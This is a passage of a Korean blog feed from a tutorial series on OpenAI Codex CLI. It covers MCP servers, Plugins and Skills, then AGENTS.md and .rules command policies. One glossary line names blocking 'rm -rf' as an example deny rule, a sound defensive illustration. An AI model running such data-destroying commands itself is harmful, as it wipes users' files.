&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cy8i60/dJMcafGAq0A/trK1wvhTpHxoxaIStjviA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cy8i60/dJMcafGAq0A/trK1wvhTpHxoxaIStjviA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cy8i60/dJMcafGAq0A/trK1wvhTpHxoxaIStjviA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcy8i60%2FdJMcafGAq0A%2FtrK1wvhTpHxoxaIStjviA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;1066&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP, Plugin, Skill은 서로 경쟁하는 개념이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 확장을 세 층으로 나누면 이해가 쉽다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tTprZ/dJMcaiDhr1t/GluKLSFRCbizMEtC5jfTd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tTprZ/dJMcaiDhr1t/GluKLSFRCbizMEtC5jfTd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tTprZ/dJMcaiDhr1t/GluKLSFRCbizMEtC5jfTd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtTprZ%2FdJMcaiDhr1t%2FGluKLSFRCbizMEtC5jfTd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1084&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #17a2b8; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;셋을 동시에 쓰는 경우&lt;/b&gt;&lt;br /&gt;팀 개발 환경을 예로 들면 GitHub MCP + Jira MCP 두 도구를 묶어 Plugin으로 배포하고, PR 리뷰 절차를 Skill로 저장해두면 팀원 전체가 동일한 환경을 유지할 수 있다. MCP는 도구 연결, Plugin은 환경 복제, Skill은 작업 방식 표준화라는 세 문제를 각각 담당한다.&lt;br /&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;974&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo5zNJ/dJMcahdjMM1/DaI4KXPAW8IrKaAQChGKgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo5zNJ/dJMcahdjMM1/DaI4KXPAW8IrKaAQChGKgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo5zNJ/dJMcahdjMM1/DaI4KXPAW8IrKaAQChGKgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo5zNJ%2FdJMcahdjMM1%2FDaI4KXPAW8IrKaAQChGKgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;974&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;974&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 18px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;해야 할 일&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;먼저 볼 것&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;외부 문서나 외부 도구를 붙인다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;MCP server&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;Codex가 호출할 도구 접근 통로가 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;반복 작업 절차를 저장한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;Skill&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;지침, 참고자료, 스크립트를 한 디렉터리에 묶을 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;여러 팀원에게 확장 묶음을 배포한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;Plugin&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;Skills, apps, MCP servers를 설치 가능한 단위로 묶을 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;도입 순서는 단순하게 잡는다. 먼저 context7처럼 읽기 전용 MCP 서버를 하나 붙인다. 그다음 팀에서 반복되는 작업을 Skill로 정리한다. 여러 사람이 같은 묶음을 써야 할 때만 Plugin 배포를 고려한다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;다음 편에서는 Codex를 실제 팀 운영에 붙일 때 생기는 문제를 다룰 예정이다. 설정 파일을 만들고, 도구를 붙이고, Skill을 늘리는 것보다 더 어려운 일은 &quot;어떤 권한과 검증 기준으로 운영할 것인가&quot;를 정하는 일이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 20px 24px; border-radius: 12px; border: 1px solid #b3c6ff; margin: 30px 0;&quot;&gt;&lt;b&gt;다음 글 예고: Part 6 &amp;mdash; Codex 자동화&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;반복 작업을 Codex로 자동화하는 실전 패턴&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;스케줄링, 훅, 이벤트 기반 트리거 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;CI/CD 파이프라인과 Codex 통합 사례&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP는 Codex에서 어떤 역할을 하나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 Codex가 저장소 밖의 도구나 데이터 소스와 연결되는 통로다. 이슈 트래커, 문서, 브라우저, 내부 API 같은 외부 맥락을 작업에 포함할 때 필요하다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Plugins와 Skills는 어떻게 구분하면 되나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Plugin은 여러 기능이나 도구 묶음을 제공하는 확장 단위에 가깝고, Skill은 특정 작업 절차나 실행 패턴을 재사용하기 위한 지침 단위로 이해하면 쉽다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP 서버를 추가할 때 가장 조심할 점은 무엇인가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;인증 정보, 네트워크 접근, 사용 가능한 도구 범위, 타임아웃을 확인해야 한다. 외부 도구 연결은 편리하지만 권한 경계가 넓어질 수 있기 때문이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 12px 0; padding-left: 24px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex MCP 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Plugins 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Skills 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config Basic 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-top: 1px solid #d8e6f3; margin-top: 34px; padding-top: 16px; color: #5f6f7a; font-size: 14px;&quot;&gt;
&lt;p style=&quot;margin: 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;작성일: 2026년 5월 6일&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;분석 범위: OpenAI Codex 공식 MCP, Plugins, Skills 문서와 해당 run의 evidence.json 기준&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기능과 설정 키는 변경될 수 있으므로 실제 적용 전 공식 문서를 다시 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>codex cli</category>
      <category>codex mcp</category>
      <category>codex mcp add</category>
      <category>Codex Plugin</category>
      <category>Codex Skill</category>
      <category>Codex 확장</category>
      <category>MCP 도구 권한</category>
      <category>MCP 서버 등록</category>
      <category>MCP 설정</category>
      <category>openai codex</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/600</guid>
      <comments>https://goddaehee.tistory.com/600#entry600comment</comments>
      <pubDate>Tue, 12 May 2026 19:00:06 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(4) : AGENTS.md와 Rules 설정 방법 - Codex에게 팀 규칙과 권한을 알려주는 방법</title>
      <link>https://goddaehee.tistory.com/599</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data: BlogPosting + BreadcrumbList + FAQPage --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex AGENTS.md와 Rules: 프로젝트 지침과 명령 권한 관리&quot;,
      &quot;description&quot;: &quot;Codex에서 AGENTS.md로 프로젝트 규칙을 전달하고, Rules로 셸 명령 허용과 차단을 관리하는 방법을 초보자 기준으로 정리합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-07&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;AGENTS.md&quot;,
        &quot;Codex Rules&quot;,
        &quot;Codex permissions&quot;,
        &quot;command allowlist&quot;,
        &quot;project instructions&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex AGENTS.md와 Rules&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-5-agents-rules.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;AGENTS.md에는 무엇을 적어야 하나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;프로젝트 구조, 빌드와 테스트 명령, 코딩 규칙, 금지해야 할 변경, 리뷰 기준처럼 Codex가 작업 전에 알아야 하는 팀 규칙을 적는 것이 좋다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Rules는 AGENTS.md와 무엇이 다른가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;AGENTS.md는 자연어 지침이고, Rules는 특정 명령 prefix를 허용하거나 차단하는 실행 정책에 가깝다. 설명은 AGENTS.md에, 강제하고 싶은 명령 경계는 Rules에 두는 식으로 나누어 생각하면 된다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;명령 허용 규칙을 넓게 잡아도 괜찮은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;가능한 한 좁게 잡는 편이 안전하다. 예를 들어 셸 wrapper 전체를 허용하기보다 실제로 필요한 하위 명령 prefix를 허용해야 예기치 않은 실행 범위를 줄일 수 있다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjt8ma/dJMcadu8FSa/VHwKdgwKAS7lZFwW3PM8uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjt8ma/dJMcadu8FSa/VHwKdgwKAS7lZFwW3PM8uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjt8ma/dJMcadu8FSa/VHwKdgwKAS7lZFwW3PM8uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjt8ma%2FdJMcadu8FSa%2FVHwKdgwKAS7lZFwW3PM8uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3208&quot; height=&quot;1802&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex를 혼자 쓸 때는 프롬프트에 규칙을 매번 적어도 어느 정도 버틸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 팀 프로젝트에서는 어떨까? &quot;테스트는 어떤 명령으로 돌릴까&quot;, &quot;수정하면 안 되는 파일은 어디일까&quot;, &quot;위험한 명령은 어디까지 허용할까&quot; 같은 기준이 사람마다 다르면 Codex의 결과도 흔들린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 Codex에 팀 규칙을 남기는 두 가지 방법을 정리해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나는 저장소 안에 두는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;(프로젝트 루트에 두면 Codex가 자동으로 읽는 행동 규칙 파일)이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 하나는 명령어 실행 정책을 다루는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt; 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말해 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 &quot;이 프로젝트에서는 이렇게 일해줘&quot;라고 적는 설명서이고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;는 &quot;이 명령은 바로 실행해도 되고, 이 명령은 먼저 확인해야 해&quot;라고 정하는 안전장치에 가깝다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서 다루는 범위는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;의 핵심 설정까지다. 외부 도구 연결, 플러그인, 스킬 구성은 다음 편에서 따로 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 편에서 처음 나오는 용어 미리 보기&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;AGENTS.md&lt;/b&gt;: 프로젝트 전체에 적용되는 규칙 문서. Codex가 프로젝트를 열 때 자동으로 읽는다. &lt;span style=&quot;color: #666; font-size: 0.92em;&quot;&gt;&amp;rarr; 비유: 팀 위키/사규집&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Rules (.rules)&lt;/b&gt;: 특정 셸 명령을 허용&amp;middot;확인&amp;middot;차단하는 규칙 파일. &quot;이 명령은 바로 실행해도 돼, 이 명령은 먼저 물어봐&quot;처럼 실행 정책을 선언한다. &lt;span style=&quot;color: #666; font-size: 0.92em;&quot;&gt;&amp;rarr; 비유: 출입 보안 게이트&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;config.toml&lt;/b&gt;: 권한 정책&amp;middot;샌드박스 설정을 담은 Codex 설정 파일. 어떤 모델을 쓸지, 승인을 어떻게 받을지 같은 기본 환경을 정한다. &lt;span style=&quot;color: #666; font-size: 0.92em;&quot;&gt;&amp;rarr; 비유: 권한 카드 발급 설정&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;prefix_rule&lt;/b&gt;: 명령어 앞부분(prefix) 패턴을 기준으로 허용&amp;middot;차단 여부를 결정하는 Rules 함수. &quot;git&quot;으로 시작하는 명령만 허용하거나 &quot;rm -rf&quot;를 막는 식으로 쓴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 5분 퀵스타트 박스 --&gt;
&lt;div style=&quot;background-color: #f0fff4; border: 2px solid #38a169; border-radius: 12px; padding: 18px 22px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 바로 따라 할 수 있는 가장 작은 AGENTS.md&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md는 자연어 지침 파일이라 꼭 영어로 쓸 필요가 없다. 팀이 한국어로 일한다면 처음부터 한국어로 쓰는 편이 더 읽기 쉽다. 아래 내용을 프로젝트 루트에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;AGENTS.md&lt;/code&gt;로 저장해 보자.&lt;/p&gt;
